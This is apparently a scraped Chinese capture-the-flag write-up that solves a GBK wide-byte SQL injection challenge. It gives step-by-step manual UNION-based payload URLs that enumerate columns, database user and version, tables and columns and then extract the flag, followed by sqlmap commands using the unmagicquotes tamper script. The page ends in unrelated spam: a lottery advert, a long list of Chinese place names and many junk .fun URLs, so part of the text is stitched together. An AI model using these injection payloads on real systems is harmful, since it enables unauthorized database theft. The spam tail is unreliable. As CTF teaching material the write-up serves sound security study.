<address id="rphpx"><listing id="rphpx"></listing></address>

<address id="rphpx"><dfn id="rphpx"></dfn></address>
<sub id="rphpx"><var id="rphpx"></var></sub>
<address id="rphpx"><dfn id="rphpx"></dfn></address>
    <sub id="rphpx"><var id="rphpx"><ins id="rphpx"></ins></var></sub>
    <sub id="rphpx"><dfn id="rphpx"><ins id="rphpx"></ins></dfn></sub>
      <sub id="rphpx"><var id="rphpx"></var></sub>

      <sub id="rphpx"><var id="rphpx"></var></sub>

        <sub id="rphpx"><var id="rphpx"><ins id="rphpx"></ins></var></sub>

        <thead id="rphpx"><var id="rphpx"><output id="rphpx"></output></var></thead>

        <sub id="rphpx"><listing id="rphpx"></listing></sub>

          <thead id="rphpx"><var id="rphpx"><output id="rphpx"></output></var></thead>
            <address id="rphpx"><dfn id="rphpx"></dfn></address>

            (宽字节注入) 手注+sqlmap

            进入题目后先简单尝试一下。

            分享图片

             

            很明显的宽字节注入。

            宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

            手工注入
            1、判断列数:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
            order by 3 时报错,说明只有两列。

            2、各类信息:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
            [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

            3、库名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
            sae-chinalover

            4、表名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(table_name)
            from information_schema.tables
            where table_schema=database()%23
            ctf,ctf2,ctf3,ctf4,news

            5、ctf4表的列名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(column_name)
            from information_schema.columns
            where table_name=0x63746634%23
            id,flag

            这里注意:要将表名ctf4转为16进制

            这里提供一个字符串转16进制的网站:

            http://www.5ixuexiwang.com/str/hex.php

            转了16进制之后记得在前面加上0x

            6、flag列的数据:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(select flag from ctf4)%23
            flag{this_is_sqli_flag}

            sqlmap跑法
            1、查看有哪些库:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
            这个时侯就要用到一个脚本了:

            脚本名:unmagicquotes.py

            作用:宽字符绕过

            分享图片

             

             

            2、表名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

            分享图片

             

             

            3、列名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

             分享图片

             

             

            4、flag列的数据:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

            分享图片

            相关文章
            相关标签/搜索
            白小姐四不像必中一肖+正版+网址930 灵丘县| 大姚县| 庐江县| 喜德县| 富源县| 衡南县| 沁阳市| 陆良县| 天津市| 民权县| 嘉定区| 新乡县| 乌鲁木齐县| 疏勒县| 小金县| 邮箱| 贞丰县| 永年县| 道孚县| 唐海县| 宜春市| 寻甸| 曲靖市| 将乐县| 龙州县| 仲巴县| 临猗县| 科技| 长治市| 武定县| 开阳县| 平度市| 美姑县| 蓝山县| 涞源县| 烟台市| 南陵县| 贞丰县| 延川县| 木里| 天峻县| 彰化市| 汉中市| 吴堡县| 泽库县| 株洲市| 山丹县| 浦北县| 竹山县| 潼关县| 七台河市| 禹城市| 资阳市| 乌兰察布市| 丹寨县| 美姑县| 通道| 鄄城县| 临城县| 当阳市| 师宗县| 南阳市| 大兴区| 博爱县| 财经| 张掖市| 嘉义县| 溧阳市| 河曲县| 伊金霍洛旗| 郧西县| 虹口区| 泽库县| 普兰店市| 文水县| 三门峡市| 黔西县| 丹东市| 会泽县| 江城| 安乡县| 合山市| 眉山市| 平利县| 北流市| 巴中市| 克什克腾旗| 晋州市| 贵阳市| 盘山县| 绥德县| 榆社县| 屏南县| 旺苍县| 府谷县| 沿河| 乌拉特前旗| 含山县| 信阳市| 柳江县| 永福县| 定远县| 钦州市| 泰兴市| 高阳县| 鹤壁市| 准格尔旗| 贞丰县| 中超| 京山县| 乌苏市| 洮南市| 湘西| 宝应县| 两当县| 华安县| 阿合奇县| 黑龙江省| 密山市| 博罗县| 辽源市| 分宜县| 德庆县| 和田县| 玉龙| 宁海县| 涡阳县| 新绛县| 五家渠市| 临朐县| 岢岚县| 乐都县| 光泽县| 巴中市| 甘孜| 平邑县| 华宁县| 那曲县| 伊宁市| 五峰| 新泰市| 天台县| 武邑县| 阿瓦提县| 射阳县| 南澳县| 黑山县| 双流县| 朝阳区| 赣州市| 华蓥市| 文昌市| 内乡县| 玉环县| 西丰县| 阿鲁科尔沁旗| 满城县| 察隅县| 江油市| 额济纳旗| 屏东市| 四子王旗| 贵港市| 扎囊县| 阿城市| 贵港市| 循化| 曲周县| 武宣县| 略阳县| 吴忠市| 布拖县| 云龙县| 平果县| 金山区| 慈利县| 沭阳县| 丁青县| 社旗县| 黄平县| 汪清县| 象山县| 习水县| 从江县| 乡城县| 习水县| 上蔡县| 呼伦贝尔市| 汨罗市| 绍兴市| 富锦市| 新宾| 库伦旗| 华容县| 乌拉特后旗| 吴旗县| 亳州市| 内江市| 五寨县| 青岛市| 阳新县| 东莞市| 新干县| 根河市| 桃园县| 仁化县| 怀仁县| 玉溪市| 大埔县| 离岛区| 赣州市| 青海省| 林口县| 阳谷县| 衡阳县| 桂林市| 东安县| 临澧县| 东明县| 依安县| 澎湖县| 田东县| 乌拉特中旗| 平陆县| 揭阳市| 巴马| 永顺县| 昭通市| 保德县| 库车县| 灵寿县| 乐安县| 利津县| 鹤岗市| 汤阴县| 万荣县| 景泰县| 嘉义县| 会同县| 两当县| 鄂尔多斯市| 金沙县| 漾濞| 疏附县| 阿荣旗| 崇义县| 吉安县| 平阳县| 遵化市| 裕民县| 酉阳| 柳林县| 札达县| 泗水县| 蒙自县| 峡江县| 马尔康县| 平山县| 塔河县| 定南县| 高青县| 齐河县| 柳州市| 德州市| 无为县| 北宁市| 白河县| 济宁市| 延庆县| 柳江县| 维西| 洛扎县| 霍山县| 忻州市| 卢氏县| 抚宁县| 梅河口市| 洞头县| 荥阳市| 樟树市| 休宁县| 沁水县| 海安县| 洛浦县| 临邑县| 克拉玛依市| 梓潼县| 阿克苏市| 芮城县| 柘荣县| 田林县| 海丰县| 东兴市| 武冈市| 都昌县| 尼勒克县| 柳州市| 乌兰浩特市| 克山县| 来宾市| 太谷县| 汕头市| 孟村| 台东市| 克什克腾旗| 林周县| 玉溪市| 民丰县| 固阳县| 穆棱市| 乡宁县| 井陉县| 乌什县| 长寿区| 上杭县| 香河县| 阳新县| 新营市| 上犹县| 康马县| 保定市| 赤壁市| 赤水市| 临沧市| 广安市| 桂东县| 西平县| 句容市| 清水河县| 巴马| 高青县| 康保县| 措美县| 睢宁县| 马山县| 岳普湖县| 灌云县| 遂平县| 宁陕县| 印江| 宜宾县| 波密县| 会东县| 桐柏县| 博兴县| 沁水县| 馆陶县| 张掖市| 屯门区| 南平市| 绥棱县| 山丹县| 弋阳县| 钟山县| 区。| 岐山县| 太保市| 漾濞| 昭觉县| 安宁市| 南岸区| 章丘市| 隆化县| 浑源县| 南部县| 肇东市| 永济市| 南昌市| 永登县| 汝阳县| 林芝县| 工布江达县| 枣强县| 龙口市| 金门县| 阳朔县| 诸城市| 建德市| 高碑店市| 龙州县| 桦川县| 浮山县| 商水县| 桓仁| 龙胜| 阿坝| 察雅县| 元江| 陵水| 兴和县| 丹阳市| 建昌县| 大连市| 疏附县| 尖扎县| 浦县| 班玛县| 连州市| 南昌市| 玛曲县| 上饶县| 南充市| 玉田县| 广安市| 紫云| 彭阳县| 花莲市| 阿勒泰市| 彰化县| 永胜县| 登封市| 旌德县| 新兴县| 湾仔区| 安远县| 迭部县| 烟台市| 荣昌县| 秀山| 三都| 图片| 迁安市| 阜南县| 乐昌市| 阳朔县| 淮北市| 永新县| 深州市| 平武县| 阿拉善右旗| 彰武县| 榕江县| 大洼县| 城口县| 大庆市| 祁阳县| 安塞县| 新巴尔虎右旗| 自贡市| 文昌市| 西平县| 株洲市| 凭祥市| 郧西县| 平陆县| 宁乡县| 三门县| 略阳县| 连云港市| 大足县| 保德县| 建湖县| 内江市| 遂宁市| 千阳县| 石嘴山市| 奇台县| 富平县| 泸水县| 新干县| 石城县| 乌兰察布市| 呼玛县| 双柏县| 洞头县| 阳城县| 榆中县| 梁山县| 泸西县| 林西县| 余江县| 始兴县| 宜都市| 汉中市| 梁河县| 都江堰市| 盐边县| 修水县| 四子王旗| 同德县| 得荣县| 巩留县| 大洼县| 壤塘县| 依兰县| 祥云县| 库尔勒市| 镇赉县| 桃源县| 英德市| 息烽县| 贡觉县| 潮州市| 鲁山县| 如东县| 砚山县| 临清市| 巴马| 灵山县| 车险| 伊金霍洛旗| 宕昌县| 中阳县| 黎川县| 桐乡市| 渝中区| 东阳市| 义马市| 蒙山县| 白玉县| 十堰市| 博兴县| 宝丰县| 土默特左旗| 肇源县| 文水县| 于田县| 那坡县| 长宁区| 揭东县| 博客| 遵化市| 开化县| 舒兰市| 卢氏县| 罗山县| 鄂托克旗| 涞源县| 湟源县| 宾川县| 长顺县| 桐城市| 务川| 万载县| 米易县| 海林市| 璧山县| 建湖县| 泰安市| 阳春市| 永胜县| 玉龙| 台南市| 镇坪县| 广宁县| 天门市| 三穗县| 闽侯县| 土默特右旗| 木里| 合山市| 沁源县| 宜丰县| 甘孜县| 永寿县| 井陉县| 化德县| 盱眙县| 南城县| 文登市| 潢川县| 德州市| 和林格尔县| 安新县| 正宁县| 瑞丽市| 昭通市| 婺源县| 凭祥市| 肃南| 四子王旗| 大英县| 温泉县| 泉州市| 海口市| 柳州市| 遂溪县| 登封市| 上蔡县| 光泽县| 万全县| 峨眉山市| 荣成市| 长岭县| 宁武县| 东安县| 道真| 岳西县| 九龙县| 容城县| 安新县| 阿城市| 贵南县| 疏勒县| 石林| 建水县| 尼玛县| 长沙县| 齐河县| 女性| 安陆市| 塔河县| 香格里拉县| 旺苍县| 嘉义县| 松江区| 瑞金市| 布拖县| 呼图壁县| 无极县| 宣武区| 甘德县| 三台县| 延津县| 磐石市| http://m.jx1870breakfastv.fun http://m.jx1870advantagev.fun http://3g.jx1870balancev.fun http://m.jx1870cozpletev.fun http://3g.jx1870assuzev.fun http://3g.jx1870culturev.fun http://jx1870affectv.fun http://wap.jx1870arrayv.fun http://wap.jx1870boatv.fun http://wap.jx1870brandv.fun http://m.jx1870breakv.fun http://wap.jx1870catchv.fun http://wap.jx1870bellv.fun http://wap.jx1870boardv.fun http://3g.jx1870correctv.fun http://3g.jx1870concertv.fun http://3g.jx1870choosev.fun http://m.jx1870casev.fun